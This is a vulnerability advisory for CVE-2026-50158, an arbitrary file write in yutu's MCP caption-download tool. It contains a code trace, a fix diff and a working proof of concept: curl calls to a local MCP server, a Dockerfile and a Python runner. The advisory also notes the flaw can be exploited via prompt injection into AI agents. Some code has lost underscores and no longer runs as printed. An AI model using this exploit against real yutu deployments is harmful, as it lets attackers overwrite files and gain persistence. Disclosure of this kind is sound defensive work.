PT-2026-60085 · Go · Github.Com/Eat-Pray-Ai/Yutu

Published

2026-07-14

Updated

2026-07-14

CVE-2026-50158

CVSS v3.1

7.7

High

Vector

AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Arbitrary File Write via MCP `caption-download` Tool

Summary

The caption-download MCP tool in yutu passes the caller-supplied file parameter directly to os.Create() at pkg/caption/caption.go:272 without any path validation, canonicalization, or confinement to the pkg.Root boundary (YUTU ROOT). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a High severity vulnerability (CVSS 7.7) with high integrity and availability impact.

Details

yutu uses pkg.Root (backed by Go 1.24's os.OpenRoot) to restrict all file I/O to the YUTU ROOT directory. Every other caption file-write path honours this boundary:

Method	Sink	Confined?
`Caption.Insert()`	`pkg.Root.Open(c.File)` (`caption.go:109`)	Yes
`Caption.Update()`	`pkg.Root.Open(c.File)` (`caption.go:193`)	Yes
`Caption.Download()`	`os.Create(c.File)` (`caption.go:272`)	No

Caption.Download() is the sole outlier. The attacker-controlled file field flows without restriction from the MCP tool input schema to a raw os.Create() call:

Source — cmd/caption/download.go:32–41: downloadInSchema declares file as a required string field in the MCP JSON input schema.
Binding — cmd/caption/download.go:61–64: cobramcp.GenToolHandler maps MCP input to input.Download(writer).
Sink — pkg/caption/caption.go:272: os.Create(c.File) creates or truncates the file at the attacker-supplied path.
Write — pkg/caption/caption.go:280: file.Write(body) writes the downloaded caption bytes to that path.

// cmd/caption/download.go
var downloadInSchema = &jsonschema.Schema{
  Required: []string{"ids", "file"},     // line 34
  // ...
  "file": {Type: "string", Description: fileUsage}, // line 40
}

// cobramcp.GenToolHandler binds MCP → handler (line 61-64)
cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {
  return input.Download(writer)
})

// pkg/caption/caption.go
body, err := io.ReadAll(res.Body)  // line 267
file, err := os.Create(c.File)   // line 272 ← unconfined sink
// ...
 , err = file.Write(body)      // line 280

The caption-download tool is registered by default in init() at cmd/caption/download.go:52, and the HTTP MCP server starts with --auth defaulting to false (cmd/mcp.go:42), meaning no authentication is required for local HTTP callers.

Recommended fix:

diff

--- a/pkg/caption/caption.go
+++ b/pkg/caption/caption.go
@@
-    file, err := os.Create(c.File)
+    file, err := pkg.Root.OpenFile(c.File, os.O WRONLY|os.O CREATE|os.O TRUNC, 0600)
    if err != nil {
        return errors.Join(errDownloadCaption, err)
    }

PoC

Prerequisites:

yutu 0.0.0-dev / commit 351c99d
Valid YUTU CREDENTIAL and YUTU CACHE TOKEN available
yutu MCP server running in HTTP mode

Docker-based reproduction (no live credentials needed):

The self-contained PoC builds a binary that exercises caption.Download() directly inside a container, with YUTU ROOT=/tmp/yutu safe root as the confinement boundary.

bash

# From the report workspace root:
docker build --no-cache -t yutu-vuln001-poc 
  -f vuln-001/Dockerfile 
  reports/mcp 49 eat-pray-ai yutu

docker run --rm yutu-vuln001-poc

Expected output confirms:

pkg.Root.Open("/tmp/poc-arbitrary-write.txt") is correctly rejected with path escapes from parent (control).
caption.Download() with file="/tmp/poc-arbitrary-write.txt" succeeds and creates a 79-byte file outside YUTU ROOT (exploit).

Live MCP server reproduction:

bash

# Start the HTTP MCP server (no auth by default)
yutu mcp --mode http --port 8216

# Initialise session
curl -sD /tmp/yutu.headers 
 -H 'Content-Type: application/json' 
 -H 'Accept: application/json, text/event-stream' 
 http://localhost:8216/mcp 
 -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' 
 >/tmp/yutu.init

SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d 'r')

# Exploit: write caption to arbitrary path
# Replace CAPTION ID with a caption id accessible by the configured token
curl -s 
 -H 'Content-Type: application/json' 
 -H 'Accept: application/json, text/event-stream' 
 ${SID:+-H "Mcp-Session-Id: $SID"} 
 http://localhost:8216/mcp 
 -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'

# Verify file was written outside YUTU ROOT
test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt

Impact

This is an Arbitrary File Write vulnerability. Any principal that can invoke the caption-download MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (--auth false) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the YUTU ROOT confinement boundary that all other file-write operations in yutu respect.

Potential consequences include:

Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution.
Corrupting log files or database files to cause denial of service.
Writing web-accessible files in deployments where yutu runs alongside a web server.
Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the file parameter is fully attacker-controlled with no guardrails.

Impacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose caption-download to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.

Reproduction artifacts

`Dockerfile`

dockerfile

# VULN-001 PoC Dockerfile
# Build con: reports/mcp 49 eat-pray-ai yutu/
# repo/ - the cloned yutu repository
# vuln-001/ - this workspace (Dockerfile, poc main.go)

FROM golang:1.26 AS builder
WORKDIR /build

# Copy the yutu source tree (provides the vulnerable packages)
COPY repo/ .

# Inject PoC as a new command package (does not modify existing source)
RUN mkdir -p cmd/poc exploit
COPY vuln-001/poc main.go cmd/poc exploit/main.go

# Build the PoC binary (static, no CGO needed)
RUN CGO ENABLED=0 go build -o /poc ./cmd/poc exploit/

# ── Runtime stage ──────────────────────────────────────────────────────────
FROM debian:12-slim

COPY --from=builder /poc /poc

# YUTU ROOT defines the pkg.Root confinement boundary.
# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,
# demonstrating the os.Create bypass.
ENV YUTU ROOT=/tmp/yutu safe root

RUN mkdir -p /tmp/yutu safe root

CMD ["/poc"]

`poc.py`

python

#!/usr/bin/env python3
"""
VULN-001 PoC Runner
Exploit: Arbitrary File Write via MCP caption-download (CWE-73)
Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement

Usage: python3 poc.py
"""
import os
import subprocess
import sys

VULN DIR = os.path.dirname(os.path.abspath( file ))
CONTEXT DIR = os.path.dirname(VULN DIR) # mcp 49 eat-pray-ai yutu/
DOCKERFILE = os.path.join(VULN DIR, "Dockerfile")
IMAGE NAME = "yutu-vuln001-poc"


def run(cmd, check=False, **kwargs):
 print("$ " + " ".join(str(a) for a in cmd))
 result = subprocess.run(cmd, =True, **kwargs)
 return result


def main():
 print("=" * 70)
 print("VULN-001: Arbitrary File Write via MCP caption-download")
 print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)")
 print("=" * 70)

 # ── Build ────────────────────────────────────────────────────────────────
 build cmd = [
 "docker", "build",
 "--no-cache",
 "-t", IMAGE NAME,
 "-f", DOCKERFILE,
 CONTEXT DIR,
 ]
 print("
[Step 1] Building Docker image ...")
 result = run(build cmd, capture output=False)
 if result.returncode != 0:
 print("
[FAIL] Docker build failed.", file=sys.stderr)
 sys.exit(1)

 # ── Run ──────────────────────────────────────────────────────────────────
 run cmd = ["docker", "run", "--rm", IMAGE NAME]
 print("
[Step 2] Running PoC container ...")
 result = run(run cmd, capture output=True)

 stdout = result.stdout or ""
 stderr = result.stderr or ""
 print(stdout, end="")
 if stderr:
 print(stderr, end="", file=sys.stderr)

 # ── Verdict ──────────────────────────────────────────────────────────────
 passed = (
 result.returncode == 0
 and "VULNERABILITY CONFIRMED" in stdout
 and "PASS" in stdout
 and "os.Create bypasses pkg.Root" in stdout
 )

 if passed:
 print("
[RESULT] PASS – vulnerability dynamically reproduced.")
 else:
 print(f"
[RESULT] FAIL – container exit code {result.returncode}.", file=sys.stderr)
 sys.exit(1)


if  name  == " main ":
 main()

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-73

Related Identifiers

CVE-2026-50158

GHSA-2C7F-FXWW-6W6C

Affected Products

Github.Com/Eat-Pray-Ai/Yutu

PT-2026-60085 · Go · Github.Com/Eat-Pray-Ai/Yutu

CVE-2026-50158

Arbitrary File Write via MCP caption-download Tool

Summary

Details

PoC

Impact

Reproduction artifacts

Dockerfile

poc.py

Weakness Enumeration

Related Identifiers

Affected Products

References · 5

Arbitrary File Write via MCP `caption-download` Tool

`Dockerfile`

`poc.py`